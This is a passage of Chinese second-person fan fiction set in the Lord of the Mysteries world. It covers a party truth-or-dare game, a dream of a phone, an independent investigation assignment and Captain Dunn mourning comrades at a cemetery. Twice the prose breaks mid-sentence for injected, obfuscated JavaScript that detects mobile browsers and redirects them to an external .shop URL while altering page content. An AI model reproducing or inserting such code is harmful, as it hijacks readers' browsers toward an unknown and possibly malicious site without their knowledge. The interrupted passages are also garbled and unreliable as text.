克莱恩似乎对这个结果并不意外,平静地选择了相对安全的选项:“真心话吧。” 罗珊眼珠一转,立刻抛出了一个在情人节聚会上显得合情合理的问题:“好,那你的问题是,你喜欢什么类型的女孩子? ” 这个问题让所有人都露出了感兴趣的表情,连一旁正在和邓恩队长低声交谈的戴莉女士也投来了略带好奇的目光。 克莱恩显然没料到一轮到他问题就这么“私人”,他愣了一下,真的认真思考了一会儿,手指无意识地敲了敲: “嗯……我想,大概是成熟、知性的类型吧。” 他慢慢说道,仿佛在脑海中勾勒形象,“性格比较稳重,遇到事情从来不会慌张,能够冷静地处理问题…… 但也不是古板的类型,最好能有一些自己的幽默感,不经意间流露出智慧与风趣。” “听起来很不错啊!” 罗珊评价道。 这时,伦纳德在一旁摸着下巴,突然嗤笑一声,用胳膊肘捅了捅克莱恩,压低声音(但足以让周围人听到)吐槽道:“成熟知性、稳重不慌?喂,克莱恩,你这描述听起来怎么那么像……咱们队长啊?” “噗——” 你没忍住,直接笑出了声。别说,被伦纳德这么一“提醒”,仔细一想这联想虽然离谱,但“成熟稳重”这几个关键词,放在邓恩队长身上……好像还真有那么点意思? 不过总之是和你完全不一样的类型。 克莱恩被伦纳德的调侃弄得有些窘迫,耳朵微红,连忙摆手:“别胡说!” 邓恩队长也无奈地摇了摇头,但眼中带着笑意,显然没把年轻人的玩笑当真。 游戏继续。罗珊再次拨动灵摆。黄水晶旋转,划过众人的面孔,最终,尖端微微颤抖着,指向了你。 “到你了,温蒂!” 罗珊眼睛发亮,“真心话还是大冒险?” “我也选真心话。” 你爽快地说,心想大不了就是些八卦问题。 果然,罗珊立刻抛出了一个充满罗珊特色、仿佛你妈妈附体般催婚的问题:“温蒂!老实交代,你有没有欣赏的、或者说有好感的男性?是谁?快说!” 你早有准备,非常认真地点了点头:“有啊。” “真的?是谁是谁?!” 罗珊更加兴奋了,几乎要跳起来,仿佛嗅到了绝佳八卦的味道。连伦纳德都竖起了耳朵,克莱恩也看了过来。 你环视一圈,在众人期待的目光中,露出一副无比真诚、甚至带着点崇拜的表情,清晰而大声地说道:“我觉得,全鲁恩,不,全世界的男人,都应该向我们的邓恩·史密斯队长学习!学习如何成为一名真正的、可靠的、值得信赖的绅士!” “……” 现场安静了一瞬。随即,爆发出更响亮的笑声和嘘声。 “切——!” “温蒂你耍滑头!” “这算什么答案嘛!” 罗珊失望地垮下脸。邓恩队长则是摇头失笑,显然没想到自己会成为这种“榜样”。 你却还没说完,故作遗憾地耸了耸肩,叹了口气,用一种“我也很无奈”的语气补充道:“可惜啊……这么好的榜样,已经是戴莉女士自留款了。我们只能远观,不可……嗯,你们懂的。” 罗珊被你这一番滴水不漏又插科打诨的回答给噎住了,她看着你,又看看旁边微笑的队长和戴莉,气鼓鼓地,感觉自己一连两个问题都没问住人,八卦之魂没有得到满足。 “不行不行!这次不算!再来!” 罗珊急了,她不等灵摆自然停下,几乎是带着点赌气和一定要问出点劲爆消息的架势,伸出手指,轻轻拨动了灵摆,然后,在灵摆旋转速度稍缓时,她的手指几不可察地、极其轻微地对着某个方向“引导”了一下。 黄水晶晃动着,最终,尖端颤巍巍地指向了今天一直很兴奋、此刻正笑嘻嘻看热闹的寿星——伦纳德·米切尔。 “到你了,伦纳德!” 罗珊立刻精神一振,目光灼灼地盯着他,“真心话还是大冒险?这次可要好好回答!” 伦纳德满不在乎地耸耸肩:“随便,真心话吧。” 他似乎觉得自己没什么不能说的。 罗珊深吸一口气,问出了那个她早就想问、在情人节背景下更是显得“天经地义”的问题:“伦纳德·米切尔!老实交代,你有没有喜欢的女生?是谁?” 这个问题一出,所有人都竖起了耳朵。毕竟,这位“午夜诗人”先生,平时总是一副玩世不恭、对谁都笑眯眯的样子,感情生活似乎一片空白,但又充满谜团。 出乎所有人意料的是,刚才还大大咧咧的伦纳德,在听到这个问题后,脸上的笑容瞬间僵了一下。他眼神不自觉地飘忽起来,先是看向了天花板,然后又快速扫过周围笑着的同事们,最后落在了地板上。 他摸了摸鼻子,罕见地出现了类似犹豫和不好意思的神态,然后,在众人越来越好奇的目光中,他语速飞快、含糊不清地说道: “我后悔了!我选大冒险!” “什么?!” 罗珊惊叫出声,眼睛瞪得溜圆。这反应可太不正常了!按照伦纳德的性格,如果没有,他肯定会直接说“没有啊”或者用更夸张的方式否定。但现在,他居然回避了!还选择了惩罚性质更明确的大冒险! “有情况!” 布莱特立刻起哄。 “哇哦!” 你也惊讶地睁大了眼睛,和旁边的克莱恩交换了一个“居然真有八卦”的眼神。 罗珊像是发现了新大陆,立刻忘了“大冒险”的惩罚,不依不饶地追问:“大冒险等会儿再说!你先回答!是不是有?到底是哪个女孩子,居然能让我们眼光高上天的诗人同学藏着掖着?快说!” 她身体前倾,几乎要凑到伦纳德面前。 西迦也难得地加入了“审问”行列,平静但带着探究地问:“是廷根的人吗?” 连邓恩队长和老尼尔都露出了颇感兴趣的表情。戴莉女士更是用她那涂着幽蓝眼影的眼睛饶有兴味地打量着伦纳德难得一见的窘态。 伦纳德的脸以肉眼可见的速度涨红了,他左顾右盼,似乎想找地缝钻进去,嘴里嘟囔着:“都说了我选大冒险了……罗珊你不能耍赖!” 但他越是这样,众人就越发肯定——这位看似洒脱不羁的“午夜诗人”心里,恐怕真的住进了一个特别的人。 可惜尽管罗珊使出了浑身解数,甚至追着伦纳德绕着查尼斯门前那片空地跑了好几圈,你们依然没能从伦纳德嘴里撬出哪怕一点点关于那位“幸运女孩”的有效信息。不过,就在众人准备散去时,一向话少但观察力敏锐的洛耀淡淡地问了一句:“你今天……去表明心意了吗?” 伦纳德抓了抓他那头黑发,脸上闪过一丝罕见的、介于懊恼和期待之间的复杂神色,小声嘟囔道:“今天……还没找到机会和她单独相处。” “噢——!” 这下,所有人都露出了然和鼓励的笑容。 “那还说啥,那必须祝福我们的大诗人表白成功啊!” 你立马接话,其他人也纷纷笑着送上祝福,把伦纳德闹了个大红脸,但他这次没有反驳,只是摸了摸鼻子,小声嘀咕了句“知道了”,嘴角却不自觉地扬了起来。连邓恩队长和戴莉女士都笑着举了举杯,戴莉女士还调侃了一句:“需要爱情占卜的话,可以找我哦,看在同事份上,给你打折。” 聚会最终在温馨欢乐的氛围中走向尾声,夕阳的余晖给廷根的街头镀上一层暖金色。你、克莱恩,还有今天的寿星伦纳德,自觉地留到了最后,承担起打扫的责任。 “啊——我最讨厌这种时候了!” 伦纳德一边把散落的彩带卷起来,一边大声抱怨,“快乐的时光总是短暂,而打扫卫生就像影子一样又长又讨厌!” 你正把用过的杯盘归拢,闻言白了他一眼:“那真是谢谢你啦诗人同学,讨厌但是还是和我们一起在这打扫。” “我这不是怕你们两个偷懒,弄不干净嘛!” 伦纳德强词夺理,但手上收拾气球碎屑的动作却没停。 克莱恩默默地将桌椅恢复原状,平静地总结:“没办法,聚会结束后的收拾,就像三流作家不知道该如何给故事结尾一样,虽然痛苦,但却是必须完成的部分。” 这个精准比喻的吐槽,让你和伦纳德都愣了一下,随即笑了起来。 “精辟!” 你竖起大拇指。 三人配合默契,没过多久也将查尼斯门前恢复了往日的整洁,只留下空气中隐约的蛋糕甜香和欢笑的余韵,证明这里刚刚结束了一场特别的庆祝。 收拾完毕,天边已染上了暮色,廷根市的街灯次第亮起。你们三人结伴,步行在回家的路上。午后的喧嚣沉淀为此刻并肩而行的宁静,街道上还残留着情人节特有的浪漫气息,偶尔能看到携手而过的情侣。 “今天……谢谢你们。” 伦纳德忽然开口,声音比平时低沉了些,“虽然过程有点……嗯,出乎意料。” “不客气,寿星最大嘛。” 你摆摆手,笑道,“而且我今天也过得很开心,开心到……已经开始有点期待我自己生日那天,你们会怎么回报我了。” 想象着到时候可能有的热闹,眼睛弯了起来。 克莱恩闻言,瞥了你一眼,也点了点头,目光温和:“是很愉快的一天。” 伦纳德则笑了起来,那笑容在街灯下显得格外明朗:“今天确实很不赖。蛋糕好吃,礼物喜欢,还念了诗,虽然我的好像反响平平……嗯,总之,谢谢。” 不知不觉,走到了你家所在的贝西克特街路口。你在家门口停下,转身对两人挥挥手:“我到了,今天辛苦啦。” “路上小心。” 克莱恩点点头。 “明天见,温蒂!” 伦纳德也笑着道别。 你和克莱恩、伦纳德在街口分开,各自走向家的方向。 回到家,你跟家人打了招呼就先用了家里的浴室,洗去一身的疲惫和欢闹的痕迹。 洗漱完毕,换上舒适的睡衣,你擦着湿漉漉的头发从浴室走出来。春夜的微风透过未完全关严的窗缝钻入,带来一丝凉意和隐约的花香。你走到窗边,准备将窗户关小一些。 就在这时,灵性忽然被轻轻触动,仿佛有什么细微的、带着善意的存在悄然造访过。 你疑惑地完全推开了那扇用于透气的小窗。 窗台上,静静地躺着一小束花。 那是一小束洁白娇嫩的小雏菊,花朵上还带着夜晚的露水,在室内透出的昏黄光线下,显得格外清新可爱。没有卡片,没有包装,就这么简简单单的一束,像是被夜风无意送来,却又恰好停留在你的窗前。 你愣了几秒,随即,一抹了然的、温柔的微笑,悄然爬上你的嘴角。你没有四下张望,只是轻轻拿起那束小雏菊,指尖传来花瓣微凉柔软的触感,和植物特有的淡淡清香。 你转身回到房间,找出一个小巧的玻璃花瓶,接了点清水,然后仔细地将这束不期而至的小雏菊插好,摆在了临窗的书桌上。洁白的花朵在玻璃瓶和深色桌面的映衬下,成为房间里宁静而美好的一角。 65. 第63章 独立任务 当天夜里,或许是白日里情绪的巨大波动耗尽了心力,又或许是“怪物”途径的高灵感特质在睡梦中更加活跃,你再次坠入了那个清晰而奇异的梦境。 依旧是那个光线恒定、墙壁雪白、舒适简约感的房间。你像上次一样,如同一个无形的幽灵,轻易地进入了那个坐在书桌前、面孔是一片虚无黑暗的身体,接管了自己的控制权。 你操纵着这个无面的自己站起身,开始在房间里巡视。 目光首先扫过了那个顶天立地的巨大书架,上面依旧塞满了厚薄不一的书籍。 你试图辨认,但结果依旧令人沮丧——封面上那些或方正或流畅的字符,你一个也不认识,它们沉默地矗立着,仿佛在嘲笑你的无知。 这让你更加坚定了要在愚者那学会“汉字”的决心。 书桌上也不是空无一物。有几本或摊开或叠放的书籍,有一些散落的纸张,以及一个巴掌大小、长方形的,并且是金属质感的物体引起了你的注意。你好奇地拿起那个薄块,它的一面似乎是光滑的玻璃镜面,另一面则有一些小小的凸起。你试探着按了一下侧面某个凸起,镜面竟然亮了起来,浮现出色彩鲜艳的图案和更多看不懂的方块字符。 笨拙地用手指在光滑的镜面上滑动,发现那些排列整齐的、由简单图形和文字组成的图标是可以点开的。虽然依旧看不懂文字说明,但凭借图标图形,你大致能猜测一些功能: 一个画着信封的可能是信息,一个画着圆形的可能是拍照,嗯,点击证明确实可以留下照片,那个画着彩色圆圈的就是照片的存放地,而且里面有好多漂亮的图片……最让你感兴趣的是两个图标:一个画着简单的几何图形,另一个则画着两个风格可爱的小人。 点开那个画着小人的图标,镜面上立刻出现了更加生动的画面和欢乐的背景音乐,虽然伴随的文字提示依旧是天书,但游戏操作本身却简单直观——通过点击、滑动屏幕控制小人跳跃、奔跑、收集物品、避开障碍。另一个几何拼图游戏也同样简单易懂,左右滑动可以改变图形的下落位置,向下滑动加速图形坠落,向上滑动改变图形的形态,当落下的几何形状排成满的一行时就可以把那行消去。 于是,在这个寂静的梦境里,你操纵着无面的自己,坐在那张舒适的书桌前,兴致勃勃地对着那个会发光的奇妙薄块玩了起来。 跳跃、收集、打怪、通关……简单的游戏带来了奇异的成就感和放松感,让你暂时忘却了白日里的震撼与悲伤,也忘了去思考这个房间、这些物品背后更深层的含义。 你玩了一关又一关,沉浸在那种无需语言、只需直觉反应的简单快乐中。直到感觉精神有些疲惫,梦境开始变得不稳定,你才依依不舍地放下那个发光的薄块。 …… 醒来的时候,窗外天色微亮。你感到一阵熟悉的头昏脑涨,眼皮沉重,仿佛真的熬了夜。 “……原来在梦里熬夜玩游戏,也算熬夜啊……” 你揉着太阳穴,有些哭笑不得地想着。梦中的疲惫感竟然如此真实地反馈到了身体上。 起床,用冷水洗漱,冰凉的感觉让你清醒了一些。你换上干净的白衬衫和深色长裤,对着新房间墙面上暂时充当镜子的、擦拭得格外光亮的金属板整理仪容。 在鲁恩,尤其是上流社会和体面人家,夫人和小姐们的衣裙往往色彩缤纷、装饰繁复,而女仆则通常只能穿黑、白或黑白搭配的制服,以示身份。但你倒觉得,简洁的黑白搭配清爽又利落,长裤更是行动方便,自带一种干练的帅气,很适合需要随时应对突发状况的值夜者工作。 收拾完毕,你深吸一口清晨的空气,走向佐特兰街。 到了黑荆棘安保公司,罗珊已经在了,她贴心地给你泡了杯热咖啡。“谢谢啦,罗珊。” 你接过杯子,暖意透过瓷杯传到掌心。闲聊中,得知昨天你轮休时错过了一个跟着队长出任务的机会。 “克莱恩他们昨天出任务了,” 罗珊压低声音,带着点后怕又兴奋的语气,“好像是队长之前提过的那个瑞尔什么的线索有进展了,带着封印物去的!听说挺惊险的,不过总算解决了。” 瑞尔·比伯?你立刻想起了那张老尼尔通过仪式得到的速写,深眼窝、高鼻梁、天然卷,嘴巴左侧有颗全瓷假牙。不过你没想到抓捕行动这么快! 正说着,克莱恩推门走了进来,脸上带着一丝疲惫,但精神状态看起来还不错。 “克莱恩!” 你立刻招手叫他过来,抓着他详细询问昨天的情况,“听说你们昨天搞定瑞尔·比伯了?快说说!” 克莱恩在你对面坐下,简要地将经过说了一遍,重点提到了那件编号为 “2-049” 的封印物在其中起到的关键作用,以及他们如何利用其特性控制住了失控的瑞尔·比伯。 “所以,你居然自己打败了一个失控的非凡者?” 你听完,有些惊讶地挑了挑眉,这话是发自内心的赞许。相比起第一次在腐烂尸体面前呕吐不止的他,眼前的克莱恩显得沉稳了许多,而且你是知道的,他天天都去射击俱乐部练习,枪法提升很大。“不错啊!那你立了大功一件!” 克莱恩依旧是那副谦逊的模样:“主要是队长和洛络塔女士他们牵制并解决了其他可能存在的密修会成员,我这边只是借助了封印物的特性,才比较顺利。” “你总是那么谦虚。那件封印物‘2-049’……听起来真有趣。” 你对那件能让人动作迟滞的封印物产生了好奇,“它真的会让范围内的人像卡住一样,动作变慢?必须要别人推动打断?” “是的,” 克莱恩点点头,描述道,“它会随机影响大约5米内的一个人,让他的动作和思维变得极其缓慢,如同生锈的机器。按照规范,需要至少三个人一组,围着被影响者做简单重复的曲臂运动,一旦发现同伴动作突然变得极其僵硬缓慢,就要立刻上去推动或摇晃他,打断那种‘迟滞’状态,否则……” “否则就会彻底变成‘木头人’?” 你顺着他的描述猜测,想象了一下那个画面,觉得既诡异又有点滑稽。 “差不多。” 克莱恩也笑了笑,确认了你的猜想,“很麻烦,但用对了场合,效果也很显著。” 你们又聊了几句关于任务的其他细节和趣闻,听着他的经历,你感觉自己仿佛也参与其中,有点可惜错过了这次大开眼界的机会——你还没见过封印物呢。 …… 之后是惯例的神秘学课程时间。你趁着老尼尔背过身去在黑板上绘制某个复杂符号的间隙,极快地用手指刮过右眼眶,悄然开启了“虚视”,目光掠过他穿着古典黑袍的、略显佝偻的背影。 灵视视野中,你捕捉到一些比前几天更加清晰的碎片——深夜,房间里摇曳起烛光,银质小刀划过老尼尔的皮肤,他的血液滴入器皿。这一次,你读到了一丝犹豫与自我怀疑,那是对手中古老仪式步骤正确性的不确定,但这份怀疑很快又被更深沉的、近乎偏执的渴望所淹没。 他犹豫了,怀疑了,但依然在偷偷放血,储存那些蕴含着生命力量和痛苦执念的液体。 你清楚地知道老尼尔在做什么,知道他正走在一根危险的钢丝上,下面就是失控与毁灭的深渊。但直接向队长举报意味着老尼尔很可能被控制、审查,甚至更糟。你既不希望这位慈祥、传授你知识的长辈被关进地底或遭受更严厉的处置,更不愿看到他因执念而彻底疯狂、异变成可怖的怪物。 但私下劝阻你又没有立场,也无法跟他解释自己得知这一切的方法,“怪物”的灵感预感这种理由在老尼尔这样的资深窥秘人面前恐怕站不住脚,反而可能暴露你能力的诡异之处,甚至打草惊蛇。 上午的课程结束后,你和克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193729|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱恩一起收拾笔记。心思细腻的克莱恩似乎察觉到了你的低落,他合上自己的笔记本,状似随意地问道:“怎么了,温蒂?看你上课时好像有点走神,是昨天没休息好吗?” 你刚想开口,想着或许可以隐晦地提一提对长辈某些固执行为的担忧,但恰好,科恩黎的身影出现在炼金室门口。“克莱恩,温蒂,队长有事找你们,在办公室。”他言简意赅地传达。 “好的,谢谢,科恩黎先生。” 你和克莱恩连忙应道,暂时搁置了刚才的话题,一起走向队长办公室。 敲门进入,队长正站在办公桌旁,手上拿着咖啡。听到动静他转过身,灰色的眼眸扫过你们,点了点头,示意你们可以找个椅子坐下。 “找你们来,是关于几件事的通知。” 队长语气是一贯的平稳,“首先,关于瑞尔·比伯和安提哥努斯笔记的后续,圣堂已经回复了。指令是,由教堂的非凡者艾尔·哈森和洛络塔和另外两位值夜者负责,立刻将封印物‘2-049’以及那本安提哥努斯家族的笔记一并押送往贝克兰德。他们现在应该已经出发了。” 这在意料之中,如此重要的物品由更高层次的力量接手处理是必然的。 “总之,安提哥努斯笔记在我们这里算是告一段落了,接下来我们的任务主要是寻找廷根内部有没有遗漏的密修会成员,不过不用太担心,没有安提哥努斯笔记,他们的重要成员应当不会继续留在廷根。” 邓恩队长没有多说,转而提到了你们最关心的事情:“至于你们俩转为正式队员的申请,圣堂那边也已经收到了。不过,这属于人事和编制流程,与封印物、笔记移交分属不同部门管辖,处理效率可能不太一样。可能还需要一到两天才能正式批复下来。” 你和克莱恩对视一眼,都看到了对方眼中的理解。官僚体系的效率嘛,在哪里都差不多。只要从本周开始,能按正式队员的标准给你们结算薪水和相关补贴就行。 克莱恩也点了点头,抬手在胸口熟练地画了一个绯红之月的标志,语气虔诚地说:“赞美女神。” 你见状,也连忙有样学样,略显生疏但还算标准地在胸前画了个同样的符号,低声跟了一句:“赞美女神。” 心里却暗自嘀咕,这种仪式性的动作和话语,果然还是不太习惯,总觉得有点别扭。 邓恩队长对你们的态度似乎还算满意。他灰眸中的神色严肃了一些,话锋一转:“正式批复虽然还没到,但既然你们已经实质上参与了多次任务,并且表现符合要求,那有些流程就可以提前。在值夜者内部,尤其是我的小队里,有一个没有文字要求的传统,或者说是我个人的一个小小考验。” 他看向你们,目光带着审视,也有一丝期许:“每一位从文职转为正式的值夜者成员,在获得完整权限和待遇之前,都需要独立完成一个任务。这并非圣堂的硬性规定,但我认为,这有助于你们真正理解值夜者的责任和含义,也是对你们能力的一次最终确认。” 独立任务! 你和克莱恩都挺直了背脊。这意味着真正的信任,也意味着独自面对未知的风险与责任。你的紧张感悄然升起,但随之而来的是更强烈的跃跃欲试。 “任务内容不会有多复杂危险,但需要你们独立规划、执行并完成报告。” 邓恩队长看向你,“温蒂你的任务就是之前说过的,在梅根议员的聚会上调查雪伦夫人这件事。这周五晚七点的晚会,你现在就可以做准备了。”他又看向克莱恩,“克莱恩你的任务我暂时还没有安排,不过即使是独立任务,也并非意味着不能寻求合理的帮助或咨询,独立任务并不意味着你只能一个人完成所有,明白吗?” “明白!”你和克莱恩齐声答道,邓恩满意地点了点头,拿起办公桌上的帽子,指了指门外道:“我得去巡视拉斐尔墓园了,呵呵,下午的时间你们自己安排。” 66. 第64章 任务准备 你心思一动。距离周五的舞会只有几天了,除了准备好裙子和调整心态,你还能做的准备就是情报了——你需要知道更多,关于那场晚会、关于可能出席的宾客、关于新党内部关系网的情报。而队长,作为拥有高级督察身份、常年与廷根市各界打交道的值夜者队长,无疑是现成且可靠的信息源。 “队长,等等我!” 你连忙叫住邓恩队长,“我跟你一起去巡视!我想我现在就有关于任务的问题了。” 邓恩队长停下脚步,灰眸带着一丝了然和戏谑,看着你:“哦?我们立志要独立完成任务的新晋值夜者,这么快就需要队长提供指导了么?” 被看穿了小心思,你也不尴尬,反而理直气壮地分析起来:“队长,这可不是场外指导。独立任务不代表单打独斗,更不代表要放弃利用已有的人脉和资源。在我熟悉的人里,既了解上流社会社交场合规则,又清楚潜在宾客背景的人,您是首选。能够直接从您这里高效、低成本地获取关键信息,这恰恰说明我懂得如何调动资源、利用优势来完成目标。这本身也是能力的一部分,不是吗?” 你这番“独立任务≠孤立无援”的理论并没有让队长愣住,他嘴角微微上扬,露出一笑容:“我早该在第一面时就知道,你的交际能力一直很不错。走吧,路上说。” 你们并肩走出黑荆棘安保公司,午后的阳光洒在佐特兰街上。前往拉斐尔墓园的路上,邓恩队长开始透露一些信息: “梅根议员的这场晚会,名义上是私人聚会,实际上是一场新党内部的小型集会。” 队长目视前方,声音平稳,“警署那边你不用担心,我们值夜者理论上隶属警署的特别行动部,拥有在某些场合,尤其是涉及非凡因素或重要人物安保时的介入权限。我会以高级督察的身份收到邀请,带你入场也顺理成章。” 你点点头,这和你之前了解的一致。 “既然是新党聚会,有几个关键人物你需要留意。” 邓恩队长继续道,“首先是梅纳德议员和他的夫人。梅纳德担任廷根市议员已经超过十年,根基深厚,是下一届市长竞选的有力竞争者。他的夫人同样活跃于新党内部,影响力不小,两人都是坚定的新党核心成员。” 你记在心里,这种政治人物往往是各种势力关注和渗透的重点。 “然后是这次聚会的发起人,梅根议员。” 队长顿了顿,“他成为新党议员才三年,资历较浅,但他的资产很丰厚,在南方有植物园和矿产。据说他前阵子一次关键的投资决策出现了重大失误,导致个人资产缩水,在党内和社交圈里的声望都受到了影响。这次聚会,很大程度上是他为了破除谣言、展示自己并未失势、重新巩固人脉而举办的。所以,当晚他的表现会很关键,围绕他的人也会很多。” 你敏锐地捕捉到了这一点:一个急于挽回颜面、巩固地位的政客的聚会,正是雪伦夫人这类擅长交际、利用他人弱点的人活跃的舞台。 “其他还有一些工商界人士、律师、学者,名单我稍后可以给你一份。但重点是,” 队长侧头看了你一眼,“雪伦夫人作为已故霍伊男爵的遗孀,与新党不少议员都有往来,她出席这种场合并不奇怪。你的任务就是观察她,看她接触谁,说了什么,表现出怎样的意图,并且关注你自己的灵性感觉。记住,观察为主,保护自己为第一要务,伦纳德会陪同策应你。” “明白,队长。” 你郑重应道。队长提供的信息,让你对周五的场合有了更清晰的认知。这不是简单的舞会,而是一个暗流涌动的政治社交场,而你的目标,是一个隐藏其中的中序列非凡者。 你们一边说着一边步行到拉斐尔墓园。 拉斐尔墓园坐落在北区,在黑荆棘安保公司西北方大概几条街的位置,远离市区的喧嚣,只有风吹过成排柏树和墓碑时发出的沙沙声,以及偶尔几声鸟儿的啼鸣。 你和邓恩队长漫步在修葺整齐的碎石小径上,脚步声在寂静中显得格外清晰。队长没有立刻开始巡视,而是放慢了脚步,目光扫过路边那些或新或旧、但都维护得相当整洁的墓碑。 “既然一起过来了,” 队长忽然开口,声音比平时更低沉,仿佛融入了这片静谧,“给你介绍一下在这里安眠的前辈们吧。他们都曾是黑荆棘安保公司,或者说,廷根值夜者小队的一员。” 他停在一排墓碑前,灰眸深邃,如同在凝视着久远的时光。他抬起手,指尖依次虚点过几块墓碑上镌刻的名字: “他们都是我的同伴……” 队长的声音很轻,“我们一起经历过很多事情,一起对付过黑暗里的怪物和疯狂的邪教徒。有人救过我,我也曾拼死救下过他们中的不少人。我们行走于安静的夜晚,战斗在大多数民众永远看不到的阴影角落。我们对抗着那些难以名状的危险,也曾经彼此守护着对方的后背。” 他的语调平静,但你却能听出其中蕴含的、经年累月沉淀下来的情感,像是在翻阅一本写满了牺牲、勇气与情谊的沉重相册。 “我很舍不得他们。” 队长的目光落在其中一块碑上,嘴角似乎动了动,像是在微笑,“这是小伊特,他第一次独立执行危险任务后,吓得当场崩溃,躲在后巷里哭了很久,像个没长大的孩子……但他后来成为了非常可靠的‘午夜诗人’。阿德莱德,” 他看向另一块墓碑,眼神柔和了一瞬,“呵,他是罗珊的父亲。有一次处理一个邪恶诅咒时,他毫不犹豫地用胳膊替我挡了一下……那道伤疤,直到最后都留在他手上。还有道恩,” 他看向一位女性的墓碑,“她是个拥有晨曦般温暖气质的姑娘,话不多,总是默默地记录着大家经历的一切,她说要把小队的故事写下来……我很舍不得他们。” “我曾经希望,能和他们继续并肩战斗下去,” 邓恩队长抬起头,望向天空,灰色的眼眸深处,仿佛有极其微弱的光芒在闪烁,那是回忆的光,也可能是一层被强行压抑下去的水光,你不知道。 你平时觉得队长有种如山岳般的稳重和仿佛能包容一切困厄的深沉,但在这一刻这些都像是被晚风轻轻吹拂的薄雾,流露出了他掩藏的、属于邓恩·史密斯这个人的个人情感——他怀念逝去的战友,他对无常的命运感到无奈。 “在我的梦里,他们依然和我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193730|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起。” 队长并不痛苦,他嘴角微微上翘,勾勒出一个极其温柔、却又带着淡淡忧伤的弧度,声音也变得如同梦呓,“阿德莱德还是喜欢阅读,总待在太阳能晒到的房屋里看书。他每次都托梦让我去管教罗珊,说她太跳脱,让她快点成熟起来…… 以至于有段时间,罗珊总是偷偷抱怨,说我怎么越来越像她爸爸,管东管西,看见我就有点发怵。” “小伊特也是个闲不住的人,每天都要嚷嚷着去森林里打猎,虽然他生前枪法其实挺一般。道恩,” 他的目光再次落回那位柔和笑着的女队员的墓碑,“她总是安静地站在她卧室的窗口,就那么看着我们在院子里训练、说笑…… 好像一切都还没变。我很舍不得他们。” 风穿过墓园,明明是夏天,你却感觉到些许凉意。你静静地站在队长身侧,听着他这些从未对你提起过的往事与梦境。那些鲜活的生命、那些共同经历的战斗与日常、那些未能继续的并肩,此刻都透过队长平静的叙述,沉甸甸地压在你的心头。 “……队长。” 你下意识地脱口低语,喉咙有些发紧,心中涌起复杂的情绪,有对前辈们的敬意,更有对眼前这位背负着所有记忆、依旧行走在守护道路上的队长的心疼与感同身受。 你想说点什么,安慰,或者表达理解,但最终发现任何语言在此刻都显得苍白,毕竟你从未了解过牺牲了的他们,任何简单地评判可能都是一种亵渎。你还很年轻,你也不了解死亡,死亡和宇宙都是人变成星星后会知道的事。 邓恩队长似乎从短暂的回忆中回过神来。他转过头,目光落在你脸上,那眼中的感伤如同潮水般迅速退去,重新恢复了平日的沉稳,只是多了几分温和。他伸出手,轻轻地、带着长辈的慈爱,揉了揉你的头发。 “温蒂,” 他低声说,语气像是感慨,又像是叮嘱,“你天生的高灵感,注定你是个很聪明、学东西很快的姑娘。但有时候,做事情还欠缺一些谨慎,喜欢凭着直觉和冲动往前闯。” 他停顿了一下,灰眸深深地看着你,倒映着你有些无措的脸。 然后,他用一种平静到近乎肃穆的语气,说出了让你心脏颤动的话: “……我不希望梦见你。你和克莱恩,虽然我们认识的时间很短,但是你们都是好孩子,我不希望梦见你们。” 你看着队长,他的眼神告诉你他还有很多话没有说出口,但其中的含义,你是明白的。 你张了张嘴,最终只是用力地点了点头,将所有翻腾的情绪压回心底,化作一个简短却坚定的回应: “我明白,队长。我会记住的。” 邓恩队长收回了手,脸上重新浮现出那抹惯常的、带着些许疲惫却宽和的笑容。“好了,不说这些了。来,继续巡视吧。拉斐尔墓园虽然安静,但偶尔也会有需要留意的地方。这也是值夜者的日常工作。” 他转过身,继续沿着小径向前走去,步伐重新变得沉稳有力,仿佛刚才那片刻的流露从未发生。你默默地跟在他身后,目光扫过道路两旁那些沉默的墓碑,心中对“值夜者”这三个字所承载的重量,有了前所未有的真切认知。 67. 第65章 哎,我不应该周薪12磅吗? 因为邓恩队长说的那句“我不希望梦见你”,以及他在墓碑前流露出的深沉情感,让你感觉你的心头也沉甸甸的。 那份重量并非恐惧,而是一种混合着敬意、迷茫与无力的复杂感受。就好像你无意中窥见了一道深可见骨、尚未完全愈合的旧创,明明知道那里有个漏风的伤口,却只能眼睁睁看着,连带着自己也觉得心口跟着漏风,呼呼地吹着心疼的凉意。 这种认知让你在面对队长时,忽然生出一种微妙的不自在和小心翼翼,不知现在该如何像往常一样自然相处,生怕自己无心的言行会触碰到那看不见的伤痕。 也因此,和队长一起巡视、清理拉斐尔墓园角落的时间变得有些难熬。你尽量专注于工作,让自己没有什么存在感。但沉默降临时,这份不自在感便更加明显。 “早知道该拉上克莱恩一起来的……” 你心里暗暗后悔,“那家伙在这种关键时刻好像总知道该说点什么,或者至少,有他在,气氛不会这么……微妙。” 直到踏上返程的石板路,熟悉的市井气息渐渐驱散了墓园的沉郁,你的心情才稍微轻松一些。 路过一家飘着食物香气的小摊时,你摸了摸咕咕叫的肚子,才想起因为去墓园,午饭都错过了。你赶紧走到摊前询问队长要不要一起吃点。 队长并没有拒绝,但是坚持要由他来付款:“好。不过让女士付款是绅士的失礼,让入职不久的队员为队长买午餐,更是有违绅士和长官的准则。” 他说着,已经干脆利落地掏出钱包,付清了所有费用。 